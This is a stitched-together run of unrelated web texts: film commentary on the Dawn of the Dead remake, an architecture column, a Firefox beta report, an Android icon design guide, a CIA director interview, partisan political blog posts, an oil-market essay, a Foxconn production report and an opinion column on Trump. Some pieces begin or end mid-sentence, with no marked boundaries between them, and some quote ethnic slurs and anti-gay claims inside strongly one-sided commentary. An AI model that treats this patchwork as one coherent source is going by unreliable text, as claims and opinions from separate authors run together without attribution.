George A. Romero said, "It was better than I expected.... The first 15, 20 minutes were terrific, but it sort of lost its reason for being. It was more of a video game. I'm not terrified of things running at me; it's like Space Invaders. There was nothing going on underneath."[26] South Park parodied the film in the episode, "Night of the Living Homeless". The show's creators, Trey Parker and Matt Stone, called the film "amazing" in the episode's DVD commentary.[27]
Comparisons to the original [ edit ]
In the original film, the zombies moved very slowly and were most menacing when they collected in large groups. In the remake, the zombies are fast and agile. Many admirers of the original, as well as Romero himself, protested this change, feeling that it limited the impact of the undead.[28] This is somewhat borne out by the fact that the remake has almost no close-up shots of zombies that last more than a second or two. Snyder mentions this in the commentary track of the remake's DVD, pointing out that they seem too human when the camera lingers upon them for longer. However, it was for this change that Wizard Magazine ranked the zombies #5 on their "100 Greatest Villains Ever" list.
The original had a smaller cast than the remake, allowing more screen time for each character. Many fans and critics criticized the resulting loss of character development.[29]
In the original version, the story unfolds over several months, indicated by the advancing stages of Fran's pregnancy. In the remake, the events transpire within approximately one month, as evidenced by the supplemental feature The Lost Tape: Andy's Terrifying Last Days Revealed, located on the DVD in the special features section. Another big change from the original is that unlike Romero, Snyder treats zombification more like a disease, pointing to the bites as the source, instead of anyone who is dead turning into a zombie.
Three actors from the original film have cameos in the remake, appearing on the televisions the survivors watch: Ken Foree, who played Peter from the original, plays an evangelist who asserts that God is punishing mankind; Scott H. Reiniger, who played Roger in the original, plays an army general telling everyone to stay at home for safety; and Tom Savini, who did the special effects for many of Romero's films and played the motorcycle gang member Blades in the original Dawn of the Dead, plays the Monroeville Sheriff explaining the only way to kill the zombies is to "shoot 'em in the head". Monroeville is also the location of the mall used in the 1978 film. In addition, a store shown in the mall is called "Gaylen Ross", an obvious tribute to actress Gaylen Ross, who played Francine in the original film. In the beginning of the film, a helicopter that is very similar to the one in the original flies across the screen.
In The Zombie Encyclopedia, Volume 2, academic Peter Dendle said that the original film "served as a bridge between the talky, slow-paced 1970s horror and the fast-paced splatter to come in the 1980s", whereas the 2004 remake "generally forsakes slow-mounting suspense in favor of frenetic action".[30]
Planned sequel [ edit ]
A sequel was planned but was later cancelled.[31] Zack Snyder stated that he would only be producing the sequel instead of reprising his role as the director due to working on Watchmen when he announced the film.[32] The script of Army of the Dead was written by Zack Snyder and Joby Harold. Filming for Army of the Dead was to start once they got a director as the producing studios had approved the script. Also according to Deborah Snyder, the film was set in Las Vegas, and the town had to be contained to stop the outbreak of zombies.[33][34] The film's producing studios were Universal Studios (who released the first) and Warner Bros. Entertainment (who have released all of Snyder's films starting with 300) and the film was set to be directed by Matthijs van Heijningen Jr., director of The Thing, the 2011 prequel to John Carpenter's 1982 cult classic of the same name.[35] Netflix revived the project in 2019, and Snyder is set to direct, though it has not been identified as a sequel.[36]New Urbanist is Geoff Manaugh's monthly column that explores how technology and design are changing our cities, homes, the built environment – and ourselves
The looping path returns again and again, tracing precise geometric patterns. Some fall back on the shapes that preceded them, as if being woven together; others accrete to form new layers. Eventually, an object emerges – a tabletop vase, a piece of avant-garde furniture, sometimes an entire building.
Designers Ronald Rael at the University of California in Berkeley and Virginia San Fratello at San Jose State University are exploring the limits of 3D printing in architecture. Three years ago, the pair founded a San Francisco-based start-up called Emerging Objects to devise not only new building components made possible by the technique, but also ways to use materials such as rubber, wood, paper and clay in architectural-scale 3D printing.
Their feedstock includes edible materials such as chocolate and salt, which can be used to construct both individual bricks and large, room-sized structures inspired by igloos. Salt turns out to be surprisingly well suited to the intricate digital forms 3D printing allows. Fragile but beautiful, rooms fashioned from it (pictured below) are translucent, seeming to glow from within when sunlit.
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This might sound like creating a sculpture and then dressing it up as a garden shed. But the team’s purpose is highly practical. Rael’s forays into the field began with a look at the use of earth in construction throughout history. In his 2009 book Earth Architecture, he laboriously documented how earth has been a mainstay of building for millennia, from mud bricks to rammed-earth walls, from African mosques to Iranian mountain villages. That there is a direct line between mud-brick making and the strange ceramic objects emerging from Rael and San Fratello’s 3D printers is striking, yet entirely logical.
For Rael, building with earth has simply been updated. On his Instagram feed, he uses the hashtag #dataclay to describe this mesmerising confluence of computer-based fabrication and good old, fingernail-crusting clay.
Clay and salt – as well as resin, nylon and sand – can now be squeezed out precisely in layers to form complex, interlocking geometric shapes. Whether you call them bricks, modules or components, it is earth architecture reborn, filtered through algorithms and high-tech machines.
The implications of this rebirth could literally be seismic. Much of the work produced by Emerging Objects would not look out of place in a Manhattan art gallery. But the unusual aesthetics belie the practical applications.
Cool Brick, for example (pictured above), is a material with a sponge-like interior capable of storing small amounts of atmospheric water in ceramic micro-pores. This allows evaporative cooling, which helps to maintain a comfortable internal temperature with no need for electricity.
A related project called the Involute Wall uses deep folds and internal loops – all 3D printed from sand – to create a wall (pictured below). The wall thus keeps part of itself in the shade even in direct sunlight, helping keep residents cool, again without energy-intensive air conditioning.
Then there’s the Quake Column, an earthquake-resistant structure built from interlocking 3D-printed sand blocks. Inspired by ancient Incan construction, the angular blocks are designed to shift and resettle after a seismic event, unlike the rigid cemented-together rectangular blocks of most modern buildings.
Such nested architectural components promise an easily scaled response to living in a seismic zone such as San Francisco, says Rael. Builders could simply incorporate irregularly shaped 3D-printed blocks into their constructions and the resulting buildings would resettle rather than break apart after the big one hits.
Emerging Objects wants to revolutionise building techniques the world over. As with plans to bring delivery drones to Africa, traditional village life in developing countries can sometimes be transplanted into the future at a stroke.
Rael imagines high-tech workshops humming away in remote regions. With basic computing power, local masons would be able to 3D print new building components in situ more easily than they can shape mud bricks by hand, leapfrogging modern cities in terms of construction techniques. Importantly, printing bricks rather than larger components allows them to be assembled into forms in keeping with a region’s existing architecture.
Indeed, one of Emerging Objects’ fundamental axioms is that the surge of interest in architectural-scale 3D printing has been waylaid by an unnecessary search for ever-larger printers. A building-sized printer might produce a building-sized object, but thinking in terms of individual components, not whole buildings, is the way to go, says Rael. Scale the product, not the printer.
This would be a win-win for everyone, he says. Smaller printers are more likely to fit into existing workshops and would need less energy to run. They also make it easier to add much-needed redundancy.
“If you only have one machine, and it crashes or breaks in the middle of a job, then the whole operation grinds to a halt.” Not so when you have a hundred printers all churning out bricks. And local workers are already proficient at assembling buildings using individual components.
At least, that’s the idea. Supplying earthquake zones and the developing world with architectural 3D printers is yet to happen, of course. So far, Emerging Objects’ work has found little purchase outside of their research lab and a few art galleries.
But Rael and colleagues offer a glimpse of a different future to most, where architecture is not based around prefab walls of glass and steel. Buildings could be handmade and bristling with ornamental detail, just built using individual pieces hot off a printer.
(Image credits: Emerging Objects)The latest beta of Firefox 4 — beta 9 for those of you counting at home — is now available to download.
The latest beta version of the venerable web browser features faster start-up, improved bookmarking and history functions and smoother complex animations. The Firefox team released the first Firefox 4 Beta back in July. The final 4.0 release is expected as early as next month.
The release notes for Firefox 4 Beta 9 are pretty sparse, which may indicate that major bugs notwithstanding, the next version offered might be a release candidate.
A few tightened user interface tweaks aside, Firefox 4 looks largely the same as it has the last few releases.
One of the issues that has prevented me from using previous Firefox 4 Beta releases on my main computer has been the lack of support for certain plugins and add-ons. With each release, developers are updating their wares for better compatibility, but there are still a few standouts (like Firebug) that aren't yet supported.
Those quibbles aside, the new Firefox is significantly faster than its predecessors. Over Christmas, I installed Firefox 4 Beta 8 on my MacBook Pro and was impressed at the improvements in speed and performance. What little time I have spent with Beta 9 on my iMac indicates that the speed increases have continued.
One note for Mac users — if you are running Mac OS X 10.6, it's likely that Netflix will not work in this release. There is a conflict between the 32-bit Silverlight plugin and the 64-bit Firefox 4. Use Chrome or Safari instead if you don't want to go back to Firefox 3.6.x.
Firefox 4 is an important release for Mozilla. The open source browser may have surpassed IE in usage share in Europe, but it's facing increased competition on all fronts. Google's Chrome browser is approaching 10% market share and Microsoft is coming on strong with IE 9.
Moreover, the modern mobile browsing space — which is largely dominated by WebKit — is gaining in importance. Getting out a solid version of Firefox for the desktop and the mobile is crucial for Mozilla.
If you want to do your part to help, you can download the latest Firefox 4 Beta and put it through the paces. The new Feedback button makes it easy to report any problems or crashes and you can take the new interface for a test drive if you haven't already.
What are your thoughts on Firefox 4 Beta 9? Let us know in the comments.Designing Adaptive Icons
Nick Butcher Blocked Unblock Follow Following Jul 10, 2017
Android O introduces a new app icon format: adaptive icons. Adaptive icons can make devices more coherent by unifying the shape of all app icons and opening the door to interesting visual effects. This post explains how they work and explores some techniques for designing them.
For a look back at where this feature has come from, see:
Fundamentals
Size and shape
Adaptive icons are 108dp*108dp in size but are masked to a maximum of 72dp*72dp. Different devices can supply different masks which must be convex in shape and may reach a minimum of 33dp from the center in places.
Examples of different shaped masks being applied
Because of the minimum reach of the mask, you can consider a centered 66dp diameter circle as a safe zone, guaranteed not to be clipped.
Safe zone within a rounded square mask
Keylines
Icon keylines
Keyline shapes are the foundation of the icon grid helping your icon’s visual proportions be consistent with other apps’ icons. The keyline shapes are:
Circles: 52dp & 36dp diameter
Square: 44dp*44dp, 4dp corner radius
Rectangles: 52dp*36dp & 36dp*52dp, 4dp corner radius
See the templates included at the end of this article.
Layers
Adaptive icons are actually made up of two layers; a foreground and a background. Both layers are 108dp*108dp; the background must be fully opaque while the foreground may include transparency. These layers are stacked on top of each other.
Providing elements in two separate layers which are larger than the displayed (i.e. masked) size creates the opportunity for interesting visual treatments and animations. Exactly what effects may be applied and when is still something of an open question; it is up to device and launcher makers to decide. Here are some simple examples you could imagine: parallax or pulsing by independently translating or scaling each layer before applying the mask.
As the 108dp*108dp icons are masked up to 72dp*72dp, the outer 18dp on each side can be considered the “extra” content, only revealed during motion.
Design Considerations
The material design guidelines for creating product icons still very much apply. Specifically the icon anatomy, shadows and finish remain, but you can now place elements in either the foreground or background layers yielding different effects.
Now I’m sure that many icons will be well served by placing their brand mark in the foreground on a solid colored background and calling it a day. This will ensure that your icon fits in well on the device. What excites me is how we as a community will explore these new constraints and find interesting, playful and innovative ways to make delightful icons. Here are a few things to keep in mind and a few ideas to potentially explore.
Clipping
Due to the dynamic nature of adaptive icons, you cannot know the exact mask shape that will be applied. For that reason it’s best to place any critical elements like your brand mark inside the safe-zone and to stay away from the mask edges.
Background Anchoring
Placing some elements which might appear to be foreground, actually in the background means that they will move independently. For example the calculator app places most elements in the foreground, but the equals button on the accent color block in the background:
Elements on different layers emphasize the layering
This creates interesting opportunities for motion where you visually anchor on the bright color block, but it moves less than the foreground elements, creating a sensation of depth.
Masked masks
I think that there may be interesting opportunities for placing masking elements in the foreground — that is solid elements with areas cut out. Consider a possible icon for the Google Play Store, this might be constructed in an ‘obvious’ manner, that is placing the colored triangle in the foreground atop a white background.
A ‘standard’ foreground placed atop a white background
Instead of doing this, we might use a colorful background and a white foreground with the triangle subtracted to produce the same static output:
An alternative colorful background with masking foreground
This setup would allow the colors ‘peeking through’ to move independently of the mask revealing different parts of the background when translated or scaled.
Left is a regular composition; Right with a masking foreground
Light & shadows
The interaction of lighting effects and shadows placed in separate layers can have interesting results. For example using the long-shadow technique on the foreground element can have a playful interaction as it moves within the masked area. Similarly lighting effects can be placed in the foreground layer rather than being baked into the background. For example, a ‘finish’ layer can be placed in the foreground to emulate a light source. Placing this in the foreground means that it will play over the background layer when under motion, moving at a different rate to it.
Example of foreground shadow and (exaggerated) light source cast on the background
Be careful not to create an effect that doesn’t make sense e.g. a shadow detaching from a foreground element or moving behind a background element. Also remember that many icons are likely to be seen together so be conservative with bespoke lighting effects and stick close to the material guidelines.
Leave behinds
You could place elements in the background layer which are completely obscured by the foreground layer and only revealed under motion.
Elements only revealed under motion
Resources and tools
Here is my sketch file which you can use as a template whilst creating adaptive icons. It includes the icon grid, keyline |
their purposes without rolling a single tank across—well maybe that's not quite true in Ukraine—but only a handful of tanks across any international boundary. Yeah, the Gerasimov doctrine [on non-linear warfare] has been around since the 70s. If you go back and read it, it's almost haunting to read how [Gen. Valery] Gerasimov was thinking about this in the 70s and now he's the chief of the Russian general staff. He's their senior military leader. And he is executing that as well.
BG: On the Iran nuclear deal, in the past you've somewhat suggested Iran is not complying with the Joint Comprehensive Plan of Action (JCPOA), as the Iran nuclear deal is called. The Trump administration recently certified that Tehran is complying. Do you have doubts about Iran's compliance with the nuclear deal?
MP: I can't give you any of the classified information. I will leave to Secretary [of State Rex] Tillerson's statement the compliance piece.
But I think it's fair to think about that agreement and the Iranian's compliance with it like a bad tenant. If you're the landlord, the rent's due on the 10th. You call the tenant a few times and the check comes across the transom. Next day you show up and there's an old sofa in the front yard and you ask them to get rid of it. And you know they kind of drag their feet and they scream at you a little bit and say "I'm not taking it away." And you go, "Come on." And eventually, the sofa disappears. That's Iranian compliance with the JCPOA today. It is grudging. They are pushing the boundaries of it. I think the president or maybe it was the secretary of state and president used the term that all the things they are doing around the agreement clearly don't get to the core concept, which was to create regional stability. They have not done that. And just [last Wednesday] the report from the State Department identifying them as the world's largest state sponsor of terror.
BG: On the North Korea threat, I've seen reports that new intelligence indicates North Korea could have a deliverable nuclear warhead on a long-range missile by the end of the decade? Is that driving the administration's concern?
MP: Yes. Whether it's 10 months or 10 years is difficult from an intelligence perspective to always identify. I think of this, Bill, as a little less of could they do it, but can they do it in a way that's reliable. That's really the risk. It might be that they launch one, put a nuclear warhead [on it] and get lucky. That's bad. We need to prevent that. But the real threat is can they do it in a way that's reliable such that they have confidence in their deterrent capability.
If you said what's the real threat. It's their knowledge that they can deliver that, repeatedly as against the U.S. defenses. When they get to that point, they hold the United States at risk and the president has made very, very clear he's not going to permit that to happen.
For 20 years previous administrations have just whistled past the graveyard on this. Maybe they had more time. Maybe that was okay. From an intelligence perspective, I think the president agrees with this, we're past that. We're too close. Whether it's 10 years or five years and what the actual range will be and what the scope and scale of that nuclear warhead will be, we know they're working it. We know they're determined, we know they get closer with each launch, whether it's successful or a failure. And the president's very focused on assuring that this particular leader doesn't have those particular weapons.
BG: What's the answer? There do not appear to be a lot of good options. Diplomacy and sanctions. What's the intelligence side?
MP: We'll see what the president asks the agency to do.
BG: Have they asked you to do anything?
MP: I can't talk about it. Having said that, I told you we created a mission center designed to address the threat from the North Korean government to the world and we are looking at every piece of the agency's operations, whether it's foreign intelligence collection, covert operations, the capacity to assist our brothers in arms at the DoD, We are preparing to make sure that when the president comes to us and says "We think we've hit the point where diplomacy no longer works" that we're prepared to deliver him a set of options that might well succeed in achieving whatever the policy objective is.
BG: And then there's ISIL. With things changing on the ground in stronghold areas of Iraq and Syria, what's the forecast? Are there concerns foreign fighters will move to Libya, then Europe and on to the United States?
MP: So we're very worried about where those folks go. It's the reason I think the administration chose to just kill as many of them as they could. That is fewer folks leaving the AO creates fewer trackable items for the U.S. intelligence community. And so we're hopeful they will be very, very successful and the risk will be lower.
But we have to be ever mindful that some of them will carry European passports and they'll have visa free access to the United States. That's why I think you heard Secretary [of Homeland Security John] Kelly talk a little bit about our work along not just our borders but all the ways that people get into our country. And then we have a task to try and track these folks. And we have in this sense great European partners who also selfishly have a tremendous interest in preventing attacks in their countries. They're probably closer to the front line on this than we are. They've certainly had more attacks than we've had in our first six months in office. But we worry about where they'll go. But we also worry about where they'll be recreated, where they'll be re-stood up, whether that's ISIS in Afghanistan, or Libya, Southeast Asia—they've started to show up in the Philippines. So yeah this threat from radical Islamic terrorism, in this case of the Sunni variety, is very real, even after the fall of the so-called Caliphate.
BG: Any other topic you want to address?
MP: We touched on it a little bit: The media's insatiable demand for leaks presents enormous risks to the United States of America. We have the first duty, that is, to protect our stuff from getting out. But I am confident that this administration is going to do its level best, once the secrets are out, to identify those who did them.
We talk about. There's an old aphorism in the law that says that, I'll get it a little bit wrong, "Justice is entitled to every man's evidence." This administration is intent on getting to every man to figure out how this happened. It matters to me personally. We have CIA officers who will get killed as a result of these. And I don't want to have to go talk to their family members and say "Yup, this young man, this young woman died as a direct result of some information that was published by a media source that was released from our organization" or frankly from our government. This is deadly business so we are deadly focused on pushing back against it.Congressman Don Young (R-AK) used the term “wetbacks” during an interview with a local Alaska radio station yesterday, in yet another sign that the famed GOP “make-over” – a move away from the party’s historic bigotry and intolerance – isn’t going so well.
Young also believes that Americans need to bring industry back to this country rather than relying on imports. Doing so would increase jobs, although he understands that automation has reduced the number of labor positions available. “My father had a ranch; we used to have 50-60 wetbacks to pick tomatoes,” he said. “It takes two people to pick the same tomatoes now. It’s all done by machine.”
It’s difficult to believe that Young didn’t realize that the term “wetback” is a slur.
GOP “make-over” not going so well
It appears the Republican Party’s “do over,” to remake them from the party of hate to the party of inclusivity, is not exactly going according to plan.
While the GOP is slowly coming to the realization that they are increasingly out of touch with America, too many in the party are, how shall I put this, out of touch with America.
The problem for Republicans is that bigots don’t usually think of themselves as “bigots.” So while it’s nice that a few GOP elites in Washington, DC have recognized that hate is not a long-term political strategy in the 21st century, the rest of the party doesn’t agree.
What makes Cong. Young’s choice of words even more disturbing is that he was speaking in public about an important issue, how mechanization is taking away jobs. After being called out for using the derogatory word, Young followed up with the usual he “meant no disrespect,” and did not apologize.
“During a sit down interview with Ketchikan Public Radio this week, I used a term that was commonly used during my days growing up on a farm in Central California,” Young said. “I know that this term is not used in the same way nowadays and I meant no disrespect.”
Would it kill the guy to simply say, I’m sorry? Apparently, yes.
Young also has some nifty ideas about taxing welfare recipients to help pay down the debt. A sane person might think that people on welfare are already poor, so there won’t be much money to tax, but not Rep. Young. (Shadows of 47% still linger over the GOP.)
Another crazy idea for cutting spending might be cutting back the war machine, or the nearly trillion dollar annual handouts to Wall Street and Big Oil might help, but no, going after those most vulnerable is always the GOP answer to America’s financial freedom. Freedom always did have a natural bias against the poor.
GOP base says Latinos are all commies
Of course, Don Young isn’t alone. It was only a few months ago that one of the lead religious right groups, the American Family Association – an organization intimately in bed with the Republican party – suggested that Latino voters are greedy, lazy socialists, and that’s why they don’t vote for Republicans:
“Hispanics are not Democrats, don’t vote Democrat because of immigration. It has to do with the fact that they are socialists by nature. They come from Mexico, which is a socialist country. They want big government intervention, they want big government goodies.”
Get it? So there’s no reason for immigration reform since the real reason that Latinos don’t vote for Republicans is that Latinos are all commies.
Clearly someone hasn’t been reading their memos on how to talk about Latinos:
GOP’s Ben Carson compares gay marriage to NAMBLA
But it’s not just Latinos. If Republicans are fair-minded about anything, it’s hate. They don’t discriminate by focusing their bigotry on just one group to the exclusion of all others.
“Rising conservative star” Ben Carson compared gays to pedophiles the other day on… what network?…. Fox! This is what the GOP means by “minority outreach.” If you’re batshit crazy, and a minority, they’ll reach out to you. The rest need not apply.
GOP’s Dave Agema says gays are “filthy” pedophiles
Then there was the RNC committeeman in Michigan, Dave Agema, who posted on Facebook that gays are “filthy” and responsible for “half the murders in large cities.” When asked why he would post something so hateful, here’s what Agema had to say:
Agema said he posted something someone else had written and “some publications and even a few liberal Republicans have chosen to take the words of someone else and cast them as my own. “I think it was a piece worth sharing given the debate over gay marriage that is happening in the Supreme Court,” Agema said.
Michigan Live has more on the piece Agema posted:
It also alleges gay people are responsible for the spread of the AIDS virus in America, that “many homosexuals admit they are pedophiles” and that they are 100 times more likely to be murdered than “the average person.”
Check out that last part. Agema is actually blaming gays for being murder victims. That’s a bit – no, a lot – like blaming African-Americans for being victims of lynchings. The fact that a minority is more likely to be a victim of violence might simply mean, oh I don’t know, that people hate them. It’s not really a critique of the victim.
Welcome to the new GOP. It looks an awful lot like the old GOP.Back when oil was shooting up over $100 a barrel, I suggested that the coming global recession would cause oil prices to crash in a "head fake" which would create an illusion of plentiful oil. Here's the chart (apologies to longtime readers who've seen it too many times already)
And here's a few recent entries on the topic:
Oil: One Last Head-Fake? (May 9, 2008)
Checking In on Oil's Head-Fake (September 18, 2008)
The End of Leverage (December 13, 2008)
What I want to expore today is the confluence of debt and energy. What we're seeing now is governments around the world borrowing and spending several trillion dollars in fiscal stimulus; the U.S. alone has staked several trillion dollars in borrowed money on rehabilitating its crippled financial sector and is now set to spend another $800 billion on direct goosing of the economy.
European and Asian nations have announced their own stimulus packages, and all but China's will be financed by the sale of government IOUs/bonds--in essence, borrowing the money from those with surplus capital looking for "safe haven." (And with tax revenues dropping in China, perhaps even that government will soon be borrowing to support deficit spending.)
But as China's economy craters (and with official statistics ginned up, who can tell what's really happening there) and the oil exporting nations' gusher of profits vanishes, then just who has the trillions of dollars in surplus to fund this mighty paroxym of panicky government borrowing? The most reliable buyers of U.S. debt/bonds were the exporting Asian nations (Japan and China) and the oil exporters (Saudi Arabia and Gulf oil states).
Now that oil has fallen drastically, the oil exporters are finding they face not wellsprings of endless billions of excess capital to invest but billions in deficit spending. As noted here many times, demographics are a tightening vise in all the Gulf oil states: their population is booming, as is their welfare-state spending, even as their revenues crash.
Even worse, the need to fund their welfare states will draw funding from whatever they planned to invest in their oil infrastructure/future production capacity--and for most oil exporters, even those sums were too paltry to maintain current production, never mind boost supply.
This is the real killer effect of the head-fake: investment in future production capacity will drop to zero as the ruling elites spend every dime on suppressing their restive, welfare-dependent populaces. So when demand does pick up again (let's say in 2011-2012, if not sooner) then supply will be far more constrained than it is today.
Recall that it takes years of stupendous investment to extract more oil from any source; the cheap, easy-to-get stuff is already gone. Even the Saudis are spending tens of billions of dollars to maintain production.
How long can these nations (including Iran and Venezuela) continue their welfare spending/ subsidies if oil keeps falling in price? No one knows, but the clock is definitely ticking.
The one thing we know for sure is that their excess capital which once bought U.S. bonds is gone. The same is true of China: now that nation must redirect its surplus capital into its own domestic economy/welfare spending.
Put this together and here's what is taking shape:
1. The tremendous fiscal goosing by all governments will create a temporary floor under oil's relentless decline. Spend a couple trillion dollars and you will certainly create some demand for oil which would otherwise not exist.
2. Thus we can anticipate a rally in oil/natural gas prices, and the illusion that the "head-fake" decline is over. Once the stimulus spending has run its course, however, then demand will fall again and oil will resume its head-fake fall--perhaps all the way down to test its 1998 lows around $12/barrel.
3. Oil will stabilize in price, but at a price too low for oil exporters to support both their welfare states and investment in their oil infrastructure. They will of political necessity choose welfare spending thus allowing their oil production to fall into irreversible decline.
4. As governments from Japan to Germany borrow heavily to fund their desperate fiscal goosing, they are tapping not an endless supply of money but the last few feet of muddy water at the bottom of a fast-drying well.
The big global surpluses of capital sloshing around the globe looking for a nice fat return are over. Everywhere assets are depreciating/falling in value, payrolls and profits are declining, and with the popping of global asset bubbles, nothing is even remotely in place to change those trends.
5. Thus at some point the voracious appetite of governments to sell debt/bonds to raise cash to spend will run headlong into the stone wall of declining supply of surplus capital. It all comes down to supply and demand. We speak of the Fed "printing money" but as others have shown, the governments don't actually print money and spend it: they create lending via fractional reserve banking, but the fiscal stimulus funds are borrowed in the bond market.
Once there's not enough supply of capital to buy all the bonds being hawked all over the world, then the prices of those bonds will have to rise to draw funds out of other investments. It is thus easy to anticipate yields doubling and then tripling as governments compete for scarce capital. (And rising yields equal rising interest rates.) there simply isn't enough surplus capital to fund new mortgage debt, new corporate debt, new local government bonds and the fantastic sums being borrowed by central governments.
6. In the big picture, the global economy is squandering the last cheap oil to fund fiscal stimulus of economies based on cheap, abundant oil instead of spending those borrowed trillions on a less-oil dependent energy infrastructure.
The net result of that global mal-investment will be an eventual resurgence of demand for oil which is far higher than available production/supply. Once the "head-fake" is over, then this mismatch of supply and demand will sent oil prices soaring to heights few anticipate now--$300/barrel seems entirely plausible--and make supply unpredictable.
Frequent contributor U. Doran recommended these oil-related articles:
OIL RISES, OIL FALLS: The History of Oil Meets the Perfect Energy Trifecta
Whats next on the energy roller coaster?
More to read:
The Long Emergency: Surviving the End of Oil, Climate Change, and Other Converging Catastrophes of the Twenty-First Century by James Howard Kunstler
Beyond Oil: The View from Hubbert's Peak
The Party's Over: Oil, War and the Fate of Industrial Societies
The End of Oil: On the Edge of a Perilous New World
Twilight in the Desert: The Coming Saudi Oil Shock and the World Economy
18 new provocative, thoughtful and insightful reader comments on nuclear power, reusing warheads, distributed power, agricultural endgame, outrageous government fees, "be careful what you wish for" media critique, innovation and more.
New Reader essay!
Report from California
(Steve R.)
Thought you might be interested in some reports from the front lines. First off, I have learned that the number of "extreme" poaching offenses in the state during 2008 increased over prior years. We have discussed this before in our correspondence and our prediction that the economic downturn will increase impacts on ecosystems seems to be materializing. Regarding crime, a funny thing happened to me this past holiday weekend.
Operation SERF, Part 8
Chris Sullins' "Strategic Action Thriller" is fiction, and on occasion contains graphic combat scenes.
"This guy is THE leading visionary on reality. He routinely discusses things which no one else has talked about, yet, turn out to be quite relevant months later."
--An anonymous comment about CHS posted on another blog.
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Amid reports that Apple has ramped up iPhone 5S production, it has been revealed that 300,000 Foxconn workers are churning out half a million iPhone 5S units every single day.
While it has consistently been rumored that Apple has had to cut iPhone 5C production due to lacklustre sales, it has been reiterated quite a few times that the iPhone 5S is doing quite well in the market, so much so that Apple has had to ramp up production. Foxconn is the primary manufacturer of the smartphone and it recently received orders to boost production. The company has tasked 300,000 of its workers with producing 500,000 units every day, the production line works around the clock.
Half a million units is actually Foxconn’s maximum output capacity. A company executive tells The Wall Street Journal that as many as 600 workers each are stationed at 100 individual production lines to put together Apple’s most sought after iPhone. The number of workers required is slightly higher than the iPhone 5 and the iPhone 5C, since assembly procedure for both smartphones is less complicated, each production line has about 500 workers.
Even though expanding its output capacity would serve its interests, Foxconn is reportedly reluctant to do so. With reports mounting that Apple is going to diversify its supplier base next year, its likely that manufacturers like Wistron and Pegatron might steal away some orders. Contract manufacturing for Apple currently generates about 40 percent of Foxconn’s revenue.
Source: WSJPolitifact called President Trump’s deficit reduction efforts “mostly false” — while admitting that the statistics he used to make the point were factual.
President Trump tweeted out this on February 25, saying that the national debt went down by $12 billion, compared to a $200 billion increase in Obama’s first month.
The media has not reported that the National Debt in my first month went down by $12 billion vs a $200 billion increase in Obama first mo. — Donald J. Trump (@realDonaldTrump) February 25, 2017
PolitiFact’s Aaron Sharockman rated this statement “mostly false,” even though he says the numbers check out. Sharockman notes that the total public debt dropped another $22 billion even after Trump sent his tweet. He reasons that debt projections can fluctuate; therefore, temporary reductions in national debt lack the importance to merit the kind of coverage Trump demanded.
Dan Mitchell, a scholar at the Cato Institute, told PolitiFact, “Considering that Trump has not enacted any fiscal legislation, it is a bit of a stretch for him to take credit for any changes in debt levels.” He added, “Debt levels go up and down in the short run based on independent factors such as quarterly tax payments and predetermined expenditure patterns.”
PolitiFact has been busted before for its bias. They once rated a joke by Senator Ted Cruz “mostly false” and, in a rating similar to this debt article, called a Trump debate claim “half true” despite admitting that it was factual.
Social media giant Facebook has teamed up with PolitiFact, a project of the Poynter-owned Tampa Bay Times, to label stories in users’ timelines as “fake news.” PolitiFact, by signing Poynter’s “Fact Checking Code of Principles” declares its work “nonpartisan and transparent.”President Trump in the Rose Garden of the White House on April 5. (Andrew Harrer/Bloomberg)
Human nature, I suppose, compels us to adapt to and try to make sense out of chaotic, even dangerous situations. We want things to be less than horrible, so the inclination to ignore persistent signs of danger and convince ourselves all is well can overwhelm common sense and honest perception. This tendency, coupled with reluctance to admit error, has prompted some Republicans of late to declare President Trump is navigating toward the “mainstream” on foreign policy. Using the favorite word in an abnormal time, they insist he is “normalizing.” We beg to differ.
Their rationalizing strikes us as not unlike the reaction in the West when each new Soviet leader emerged on the world stage. Oh, but he has Western suits! Oh, he went to an Ivy League school in his youth! The straw-grabbing often involves excessive praise for not doing insane things. (Well, he hasn’t said he would invade any countries!) We are adept at self-delusion.
“Even the hardest line NeverTrumpers such as myself would, for the country’s sake, like to say this is normal. But it’s not. It’s better than it was because of some of the key appointments at the top, particularly the replacement of Michael Flynn by H.R. McMaster,” said former State Department official Eliot Cohen. “But it won’t be normal even when the new team gets past their backlog of appointments in a year’s time, because of the man at the top. He thinks of foreign policy almost exclusively in personal and transactional terms rather than enduring interests, relationships and values.” Cohen added, “He has advisers who do not agree with one another. And above all, he remains what some of us described last March as ‘unmoored in principle’ — not to mention untrustworthy ignorant, impulsive and narcissistic.” Cohen therefore argued that “in foreign as in domestic policy presidential character counts, and his character remains reprehensible.”
In an interview on April 27, President Trump said he misses aspects of his life before the presidency and that he thought being president "would be easier." (Patrick Martin/The Washington Post)
Inconveniently interrupting the “He’s getting better!” meme, Trump’s interview with Reuters on Thursday is nothing short of terrifying. His cluelessness about the world persists. “This is more work than in my previous life,” he says. “I thought it would be easier.” That smacks of “Nobody knew health care could be so complicated,” which amounts to admission of complete ignorance of the world’s complexity and insistence that everyone is as blind as he was.
Oh, but that’s the least of it. Sounding weirdly sympathetic to arguably the world’s worst tyrant, he said of Kim Jong Un: “He’s 27 years old. His father dies, took over a regime. So say what you want but that is not easy, especially at that age.” And as if to set everyone’s teeth a bit more on edge he declared, “There is a chance that we could end up having a major, major conflict with North Korea. Absolutely.” Gulp. Yes, thanks for the reminder that the potential for nuclear war rests with a man given to impulsive outbursts and angry responses to perceived slights. (Referring there to Trump not Kim Jong Un.)
To top it off, Trump seemed to go out of his way to kick ally South Korea, which sits directly in the line of fire of a homicidal tyrant. Reuters recounts:
He blamed the U.S.-Korean trade deal, known as KORUS, on his 2016 Democratic presidential election opponent, Hillary Clinton, who as secretary of state promoted the final version of the trade pact before its approval by Congress in 2011. “It is unacceptable, it is a horrible deal made by Hillary,” the Republican Trump said. “It’s a horrible deal, and we are going to renegotiate that deal or terminate it.” Asked when he would announce his intention to renegotiate the deal, Trump said: “Very soon. I’m announcing it now.” Trump’s comments stunned South Korean financial markets, sending Seoul stocks and the won currency into reverse even as the country’s economic outlook has started to brighten. South Korea’s foreign ministry said Seoul would continue to explain to the Trump administration the benefits of the free trade deal. Washington had not officially filed a request to Seoul to renegotiate the agreement, it said.
Trump also asserted that with regard to the Terminal High-Altitude Area Defense (THAAD) system: “I informed South Korea it would be appropriate if they paid. It’s a billion-dollar system.”
These remarks are not just embarrassing; they create doubt in the eyes of allies that we will be there in a crisis. Unstable adversaries come to believe they are dealing with a rube, someone with little interest in going to bat for allies.
